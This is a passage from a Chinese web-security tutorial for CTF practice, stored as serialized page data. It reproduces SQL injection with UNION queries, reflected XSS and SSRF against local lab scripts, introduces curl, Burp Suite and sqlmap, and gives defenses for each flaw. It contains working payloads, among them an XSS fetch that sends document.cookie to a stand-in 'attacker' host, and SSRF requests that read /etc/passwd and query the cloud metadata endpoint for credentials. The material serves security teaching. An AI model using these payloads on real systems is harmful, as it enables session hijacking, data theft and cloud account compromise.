并影响查询逻辑，而不是被框架做了过滤。",[15,13040,13041,13043,13044,13047,13048,13051],{},[187,13042,255],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[26,13045,13046],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[26,13049,13050],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,13053,13054,13056],{},[187,13055,1749],{},"：逐条发送以下三个请求，对比输出。",[15,13058,13059],{},"输入 1：",[19,13061,13063],{"className":152,"code":13062,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[26,13064,13065,13075,13080,13085],{"__ignoreMap":24},[29,13066,13067,13069,13071,13073],{"class":31,"line":32},[29,13068,5524],{"class":161},[29,13070,5527],{"class":1526},[29,13072,5564],{"class":169},[29,13074,5533],{"class":1526},[29,13076,13077],{"class":31,"line":38},[29,13078,13079],{"class":823},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[29,13081,13082],{"class":31,"line":104},[29,13083,13084],{"class":823},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[29,13086,13087],{"class":31,"line":110},[29,13088,13089],{"class":823},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,13091,13092],{},"预期输出：SQL 语法错误，例如：",[19,13094,13096],{"className":13095,"code":5573,"language":211,"meta":24},[209],[26,13097,5573],{"__ignoreMap":24},[15,13099,13100],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13102,13103],{},"输入 2：",[19,13105,13107],{"className":152,"code":13106,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[26,13108,13109,13119,13124],{"__ignoreMap":24},[29,13110,13111,13113,13115,13117],{"class":31,"line":32},[29,13112,5524],{"class":161},[29,13114,5527],{"class":1526},[29,13116,5600],{"class":169},[29,13118,5533],{"class":1526},[29,13120,13121],{"class":31,"line":38},[29,13122,13123],{"class":823},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[29,13125,13126],{"class":31,"line":104},[29,13127,13128],{"class":823},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13130,385,13131,13133],{},[26,13132,5607],{},"（条件为真，正常返回）。",[15,13135,13136],{},"输入 3：",[19,13138,13140],{"className":152,"code":13139,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[26,13141,13142,13152,13157],{"__ignoreMap":24},[29,13143,13144,13146,13148,13150],{"class":31,"line":32},[29,13145,5524],{"class":161},[29,13147,5527],{"class":1526},[29,13149,5626],{"class":169},[29,13151,5533],{"class":1526},[29,13153,13154],{"class":31,"line":38},[29,13155,13156],{"class":823},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[29,13158,13159],{"class":31,"line":104},[29,13160,13161],{"class":823},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13163,13164],{},"预期输出：空（条件为假，查不到数据）。",[15,13166,13167,13168,13170,13171,5645],{},"三个结果合起来：单引号报错、",[26,13169,5640],{}," 正常、",[26,13172,5644],{},[1268,13174,13176],{"id":13175},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13178,13179,13181],{},[187,13180,189],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13183,13184,13186,13187,13189],{},[187,13185,255],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[26,13188,5665],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13191,13192],{},"第一步，确定列数：",[19,13194,13196],{"className":152,"code":13195,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[26,13197,13198,13208,13213],{"__ignoreMap":24},[29,13199,13200,13202,13204,13206],{"class":31,"line":32},[29,13201,5524],{"class":161},[29,13203,5527],{"class":1526},[29,13205,5692],{"class":169},[29,13207,5533],{"class":1526},[29,13209,13210],{"class":31,"line":38},[29,13211,13212],{"class":823},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[29,13214,13215],{"class":31,"line":104},[29,13216,13217],{"class":823},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13219,13220],{},"第二步，确认哪一列会回显：",[19,13222,13224],{"className":152,"code":13223,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[26,13225,13226,13236,13241,13246],{"__ignoreMap":24},[29,13227,13228,13230,13232,13234],{"class":31,"line":32},[29,13229,5524],{"class":161},[29,13231,5527],{"class":1526},[29,13233,5756],{"class":169},[29,13235,5533],{"class":1526},[29,13237,13238],{"class":31,"line":38},[29,13239,13240],{"class":823},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[29,13242,13243],{"class":31,"line":104},[29,13244,13245],{"class":823},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[29,13247,13248],{"class":31,"line":110},[29,13249,13250],{"class":823},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13252,385,13253,13255],{},[26,13254,5763],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13257,13258],{},"第三步，查数据库名：",[19,13260,13262],{"className":152,"code":13261,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[26,13263,13264,13274,13279],{"__ignoreMap":24},[29,13265,13266,13268,13270,13272],{"class":31,"line":32},[29,13267,5524],{"class":161},[29,13269,5527],{"class":1526},[29,13271,5782],{"class":169},[29,13273,5533],{"class":1526},[29,13275,13276],{"class":31,"line":38},[29,13277,13278],{"class":823},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[29,13280,13281],{"class":31,"line":104},[29,13282,13283],{"class":823},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13285,385,13286,389],{},[26,13287,1136],{},[15,13289,13290],{},"第四步，查表名：",[19,13292,13294],{"className":152,"code":13293,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[26,13295,13296,13306,13311,13316,13321],{"__ignoreMap":24},[29,13297,13298,13300,13302,13304],{"class":31,"line":32},[29,13299,5524],{"class":161},[29,13301,5527],{"class":1526},[29,13303,5806],{"class":169},[29,13305,5533],{"class":1526},[29,13307,13308],{"class":31,"line":38},[29,13309,13310],{"class":823},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[29,13312,13313],{"class":31,"line":104},[29,13314,13315],{"class":823},"# WHERE table_schema=database()：只筛当前库的表。\n",[29,13317,13318],{"class":31,"line":110},[29,13319,13320],{"class":823},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[29,13322,13323],{"class":31,"line":116},[29,13324,13325],{"class":823},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13327,385,13328,389],{},[26,13329,5813],{},[15,13331,13332],{},"第五步，拿 flag：",[19,13334,13336],{"className":152,"code":13335,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[26,13337,13338,13348,13353,13358],{"__ignoreMap":24},[29,13339,13340,13342,13344,13346],{"class":31,"line":32},[29,13341,5524],{"class":161},[29,13343,5527],{"class":1526},[29,13345,5870],{"class":169},[29,13347,5533],{"class":1526},[29,13349,13350],{"class":31,"line":38},[29,13351,13352],{"class":823},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[29,13354,13355],{"class":31,"line":104},[29,13356,13357],{"class":823},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[29,13359,13360],{"class":31,"line":110},[29,13361,13362],{"class":823},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13364,385,13365,389],{},[26,13366,5877],{},[15,13368,13369],{},"说明：",[58,13371,13372,13377,13387],{},[61,13373,13374,13376],{},[26,13375,5665],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[61,13378,13379,13382,13383,13386],{},[26,13380,13381],{},"--+","：URL 中解码后是 ",[26,13384,13385],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[61,13388,13389,13392],{},[26,13390,13391],{},"group_concat","：把多行拼成一行，方便一次性输出。",[1268,13394,13396],{"id":13395},"_35-防御参数化查询","3.5 防御：参数化查询",[19,13398,13400],{"className":5291,"code":13399,"language":5293,"meta":24,"style":24},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[26,13401,13402,13406],{"__ignoreMap":24},[29,13403,13404],{"class":31,"line":32},[29,13405,6269],{},[29,13407,13408],{"class":31,"line":38},[29,13409,6274],{},[15,13411,13412,13413,13415,13416,13419],{},"此时输入 ",[26,13414,6313],{}," 只会被当作字符串 ",[26,13417,13418],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13421,13423],{"id":13422},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13425,13426,13428],{},[187,13427,189],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13430,13431,13433,13434,13437,13438,13441,13442,13445],{},[187,13432,255],{},"：页面把 ",[26,13435,13436],{},"name"," 原样输出。如果我们传 ",[26,13439,13440],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[26,13443,13444],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[1268,13447,13449],{"id":13448},"_41-平台与代码","4.1 平台与代码",[15,13451,13452,13453,85],{},"任意 Web 应用。示例 ",[26,13454,13455],{},"xss.php",[19,13457,13459],{"className":5291,"code":13458,"language":5293,"meta":24,"style":24},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[26,13460,13461],{"__ignoreMap":24},[29,13462,13463],{"class":31,"line":32},[29,13464,13458],{},[1268,13466,13468],{"id":13467},"_42-正常请求","4.2 正常请求",[19,13470,13472],{"className":152,"code":13471,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[26,13473,13474],{"__ignoreMap":24},[29,13475,13476,13478,13480,13483],{"class":31,"line":32},[29,13477,5524],{"class":161},[29,13479,5527],{"class":1526},[29,13481,13482],{"class":169},"http://127.0.0.1:8000/xss.php?name=alice",[29,13484,5533],{"class":1526},[15,13486,1413,13487,389],{},[26,13488,13489],{},"你好，alice！",[1268,13491,13493],{"id":13492},"_43-注入脚本","4.3 注入脚本",[19,13495,13497],{"className":152,"code":13496,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[26,13498,13499],{"__ignoreMap":24},[29,13500,13501,13503,13505,13508],{"class":31,"line":32},[29,13502,5524],{"class":161},[29,13504,5527],{"class":1526},[29,13506,13507],{"class":169},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[29,13509,5533],{"class":1526},[15,13511,1413],{},[19,13513,13515],{"className":6902,"code":13514,"language":6904,"meta":24,"style":24},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[26,13516,13517,13522,13531,13544,13553],{"__ignoreMap":24},[29,13518,13519],{"class":31,"line":32},[29,13520,13521],{"class":1189},"你好，\n",[29,13523,13524,13526,13529],{"class":31,"line":38},[29,13525,6911],{"class":1189},[29,13527,13528],{"class":1182},"script",[29,13530,1193],{"class":1189},[29,13532,13533,13536,13539,13541],{"class":31,"line":104},[29,13534,13535],{"class":161},"  alert",[29,13537,13538],{"class":1189},"(",[29,13540,6548],{"class":165},[29,13542,13543],{"class":1189},")\n",[29,13545,13546,13549,13551],{"class":31,"line":110},[29,13547,13548],{"class":1189},"\u003C/",[29,13550,13528],{"class":1182},[29,13552,1193],{"class":1189},[29,13554,13555],{"class":31,"line":116},[29,13556,13557],{"class":1189},"！\n",[15,13559,13560,13561,13563,13564,13566],{},"浏览器会把 ",[26,13562,13444],{}," 当作代码执行。",[26,13565,5524],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[1268,13568,13570],{"id":13569},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13572,13573],{},"攻击者构造 URL：",[19,13575,13577],{"className":6902,"code":13576,"language":6904,"meta":24,"style":24},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[26,13578,13579,13584,13592,13613],{"__ignoreMap":24},[29,13580,13581],{"class":31,"line":32},[29,13582,13583],{"class":1189},"http://127.0.0.1:8000/xss.php?name=\n",[29,13585,13586,13588,13590],{"class":31,"line":38},[29,13587,6911],{"class":1189},[29,13589,13528],{"class":1182},[29,13591,1193],{"class":1189},[29,13593,13594,13597,13599,13602,13605,13607,13610],{"class":31,"line":104},[29,13595,13596],{"class":161},"  fetch",[29,13598,13538],{"class":1189},[29,13600,13601],{"class":1526},"'",[29,13603,13604],{"class":169},"http://attacker/?c=",[29,13606,13601],{"class":1526},[29,13608,13609],{"class":1182}," +",[29,13611,13612],{"class":1189}," document.cookie)\n",[29,13614,13615,13617,13619],{"class":31,"line":110},[29,13616,13548],{"class":1189},[29,13618,13528],{"class":1182},[29,13620,1193],{"class":1189},[15,13622,13623,13624,13627],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[26,13625,13626],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[1268,13629,13631],{"id":13630},"_45-防御输出编码","4.5 防御：输出编码",[15,13633,13634],{},"输出前把危险字符转义：",[455,13636,13637,13647],{},[458,13638,13639],{},[461,13640,13641,13644],{},[464,13642,13643],{},"原始字符",[464,13645,13646],{},"转义后",[471,13648,13649,13660,13672,13683,13694],{},[461,13650,13651,13655],{},[476,13652,13653],{},[26,13654,6911],{},[476,13656,13657],{},[26,13658,13659],{},"&lt;",[461,13661,13662,13667],{},[476,13663,13664],{},[26,13665,13666],{},">",[476,13668,13669],{},[26,13670,13671],{},"&gt;",[461,13673,13674,13678],{},[476,13675,13676],{},[26,13677,6167],{},[476,13679,13680],{},[26,13681,13682],{},"&quot;",[461,13684,13685,13689],{},[476,13686,13687],{},[26,13688,13601],{},[476,13690,13691],{},[26,13692,13693],{},"&#39;",[461,13695,13696,13701],{},[476,13697,13698],{},[26,13699,13700],{},"&",[476,13702,13703],{},[26,13704,13705],{},"&amp;",[15,13707,13708,13709,13712],{},"PHP 用 ",[26,13710,13711],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13714,13716],{"id":13715},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13718,13719,13721],{},[187,13720,189],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13723,13724,85,13726,13729,13730,13733,13734,13737,13738,13741,13742,13745],{},[187,13725,255],{},[26,13727,13728],{},"file_get_contents($url)"," 会按 ",[26,13731,13732],{},"$url"," 的协议去读内容。协议决定能力：",[26,13735,13736],{},"file://"," 读本地文件，",[26,13739,13740],{},"http://"," 访问内网，",[26,13743,13744],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[1268,13747,13749],{"id":13748},"_51-平台与代码","5.1 平台与代码",[15,13751,13752,13753,85],{},"具有\"URL 处理\"功能的应用。示例 ",[26,13754,13755],{},"ssrf.php",[19,13757,13759],{"className":5291,"code":13758,"language":5293,"meta":24,"style":24},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[26,13760,13761,13765,13770,13775,13780,13785],{"__ignoreMap":24},[29,13762,13763],{"class":31,"line":32},[29,13764,5437],{},[29,13766,13767],{"class":31,"line":38},[29,13768,13769],{},"echo file_get_contents($_GET['url']);\n",[29,13771,13772],{"class":31,"line":104},[29,13773,13774],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[29,13776,13777],{"class":31,"line":110},[29,13778,13779],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[29,13781,13782],{"class":31,"line":116},[29,13783,13784],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[29,13786,13787],{"class":31,"line":122},[29,13788,5475],{},[1268,13790,13792],{"id":13791},"_52-读本地文件","5.2 读本地文件",[19,13794,13796],{"className":152,"code":13795,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[26,13797,13798,13809,13814,13819],{"__ignoreMap":24},[29,13799,13800,13802,13804,13807],{"class":31,"line":32},[29,13801,5524],{"class":161},[29,13803,5527],{"class":1526},[29,13805,13806],{"class":169},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[29,13808,5533],{"class":1526},[29,13810,13811],{"class":31,"line":38},[29,13812,13813],{"class":823},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[29,13815,13816],{"class":31,"line":104},[29,13817,13818],{"class":823},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[29,13820,13821],{"class":31,"line":110},[29,13822,13823],{"class":823},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13825,385],{},[19,13827,13830],{"className":13828,"code":13829,"language":211,"meta":24},[209],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[26,13831,13829],{"__ignoreMap":24},[1268,13833,13835],{"id":13834},"_53-探测内网端口","5.3 探测内网端口",[19,13837,13839],{"className":152,"code":13838,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[26,13840,13841,13852,13857,13862],{"__ignoreMap":24},[29,13842,13843,13845,13847,13850],{"class":31,"line":32},[29,13844,5524],{"class":161},[29,13846,5527],{"class":1526},[29,13848,13849],{"class":169},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[29,13851,5533],{"class":1526},[29,13853,13854],{"class":31,"line":38},[29,13855,13856],{"class":823},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[29,13858,13859],{"class":31,"line":104},[29,13860,13861],{"class":823},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[29,13863,13864],{"class":31,"line":110},[29,13865,13866],{"class":823},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,13868,13869],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[1268,13871,13873],{"id":13872},"_54-访问云元数据","5.4 访问云元数据",[19,13875,13877],{"className":152,"code":13876,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[26,13878,13879,13890,13895,13900],{"__ignoreMap":24},[29,13880,13881,13883,13885,13888],{"class":31,"line":32},[29,13882,5524],{"class":161},[29,13884,5527],{"class":1526},[29,13886,13887],{"class":169},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[29,13889,5533],{"class":1526},[29,13891,13892],{"class":31,"line":38},[29,13893,13894],{"class":823},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[29,13896,13897],{"class":31,"line":104},[29,13898,13899],{"class":823},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[29,13901,13902],{"class":31,"line":110},[29,13903,13904],{"class":823},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,13906,13907],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[1268,13909,13911],{"id":13910},"_55-防御","5.5 防御",[19,13913,13915],{"className":5291,"code":13914,"language":5293,"meta":24,"style":24},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[26,13916,13917,13922,13927,13932],{"__ignoreMap":24},[29,13918,13919],{"class":31,"line":32},[29,13920,13921],{},"$allowed = ['https', 'http'];\n",[29,13923,13924],{"class":31,"line":38},[29,13925,13926],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[29,13928,13929],{"class":31,"line":104},[29,13930,13931],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[29,13933,13934],{"class":31,"line":110},[29,13935,13936],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,13938,13940],{"id":13939},"六必学工具-1curl","六、必学工具 1：curl",[15,13942,13943],{},"三个核心功能，逐个演示。",[15,13945,13946],{},"功能 1：带参数 GET。",[19,13948,13949],{"className":152,"code":5517,"language":154,"meta":24,"style":24},[26,13950,13951],{"__ignoreMap":24},[29,13952,13953,13955,13957,13959],{"class":31,"line":32},[29,13954,5524],{"class":161},[29,13956,5527],{"class":1526},[29,13958,5530],{"class":169},[29,13960,5533],{"class":1526},[15,13962,1413,13963,389],{},[26,13964,5607],{},[15,13966,13967,13968,9699],{},"功能 2：查看完整请求与响应（",[26,13969,12649],{},[19,13971,13973],{"className":152,"code":13972,"language":154,"meta":24,"style":24},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[26,13974,13975,13987,13992,13997],{"__ignoreMap":24},[29,13976,13977,13979,13981,13983,13985],{"class":31,"line":32},[29,13978,5524],{"class":161},[29,13980,12637],{"class":165},[29,13982,5527],{"class":1526},[29,13984,5530],{"class":169},[29,13986,5533],{"class":1526},[29,13988,13989],{"class":31,"line":38},[29,13990,13991],{"class":823},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[29,13993,13994],{"class":31,"line":104},[29,13995,13996],{"class":823},"# \u003C 开头是响应行与响应头，最后是正文。\n",[29,13998,13999],{"class":31,"line":110},[29,14000,14001],{"class":823},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,14003,14004,14005,14007,14008,14010],{},"输出中 ",[26,14006,13666],{}," 开头的是请求，",[26,14009,6911],{}," 开头的是响应，最下面是正文。",[15,14012,14013,14014,9699],{},"功能 3：POST 数据（",[26,14015,14016],{},"-d",[19,14018,14020],{"className":152,"code":14019,"language":154,"meta":24,"style":24},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[26,14021,14022],{"__ignoreMap":24},[29,14023,14024,14026,14029,14032,14034,14037,14039,14041,14043,14046],{"class":31,"line":32},[29,14025,5524],{"class":161},[29,14027,14028],{"class":165}," -X",[29,14030,14031],{"class":169}," POST",[29,14033,5527],{"class":1526},[29,14035,14036],{"class":169},"http://127.0.0.1:8000/login.php",[29,14038,6167],{"class":1526},[29,14040,1482],{"class":165},[29,14042,5527],{"class":1526},[29,14044,14045],{"class":169},"username=admin&password=123",[29,14047,5533],{"class":1526},[15,14049,14050],{},"用于登录、上传等需要 POST 的场景。",[10,14052,14054],{"id":14053},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,14056,14057],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[455,14059,14060,14073],{},[458,14061,14062],{},[461,14063,14064,14067,14070],{},[464,14065,14066],{},"模块",[464,14068,14069],{},"用途",[464,14071,14072],{},"操作步骤",[471,14074,14075,14090,14101],{},[461,14076,14077,14080,14083],{},[476,14078,14079],{},"Proxy",[476,14081,14082],{},"拦截请求",[476,14084,14085,14086,14089],{},"浏览器设置代理 ",[26,14087,14088],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[461,14091,14092,14095,14098],{},[476,14093,14094],{},"Repeater",[476,14096,14097],{},"手工重放",[476,14099,14100],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[461,14102,14103,14106,14109],{},[476,14104,14105],{},"Intruder",[476,14107,14108],{},"自动化遍历",[476,14110,14111],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14113,14114],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14116,14118],{"id":14117},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14120,14121],{},"SQL 注入自动化工具。三个核心命令：",[15,14123,14124],{},"命令 1：检测。",[19,14126,14127],{"className":152,"code":6150,"language":154,"meta":24,"style":24},[26,14128,14129],{"__ignoreMap":24},[29,14130,14131,14133,14135,14137,14139,14141],{"class":31,"line":32},[29,14132,6157],{"class":161},[29,14134,6160],{"class":165},[29,14136,5527],{"class":1526},[29,14138,5530],{"class":169},[29,14140,6167],{"class":1526},[29,14142,6170],{"class":165},[15,14144,1536],{},[19,14146,14148],{"className":14147,"code":6176,"language":211,"meta":24},[209],[26,14149,6176],{"__ignoreMap":24},[15,14151,14152],{},"命令 2：列数据库。",[19,14154,14155],{"className":152,"code":6185,"language":154,"meta":24,"style":24},[26,14156,14157],{"__ignoreMap":24},[29,14158,14159,14161,14163,14165,14167,14169],{"class":31,"line":32},[29,14160,6157],{"class":161},[29,14162,6160],{"class":165},[29,14164,5527],{"class":1526},[29,14166,5530],{"class":169},[29,14168,6167],{"class":1526},[29,14170,6202],{"class":165},[15,14172,14173,14174,389],{},"预期输出：数据库列表，包含 ",[26,14175,1136],{},[15,14177,14178],{},"命令 3：导出数据。",[19,14180,14181],{"className":152,"code":6214,"language":154,"meta":24,"style":24},[26,14182,14183],{"__ignoreMap":24},[29,14184,14185,14187,14189,14191,14193,14195,14197,14199,14201,14203],{"class":31,"line":32},[29,14186,6157],{"class":161},[29,14188,6160],{"class":165},[29,14190,5527],{"class":1526},[29,14192,5530],{"class":169},[29,14194,6167],{"class":1526},[29,14196,6231],{"class":165},[29,14198,6234],{"class":169},[29,14200,6237],{"class":165},[29,14202,6240],{"class":169},[29,14204,6243],{"class":165},[15,14206,385,14207,14209,14210,389],{},[26,14208,3351],{}," 表内容，即 ",[26,14211,5877],{},[10,14213,14215],{"id":14214},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14217,14218,14219,14222],{},"题目：登录页 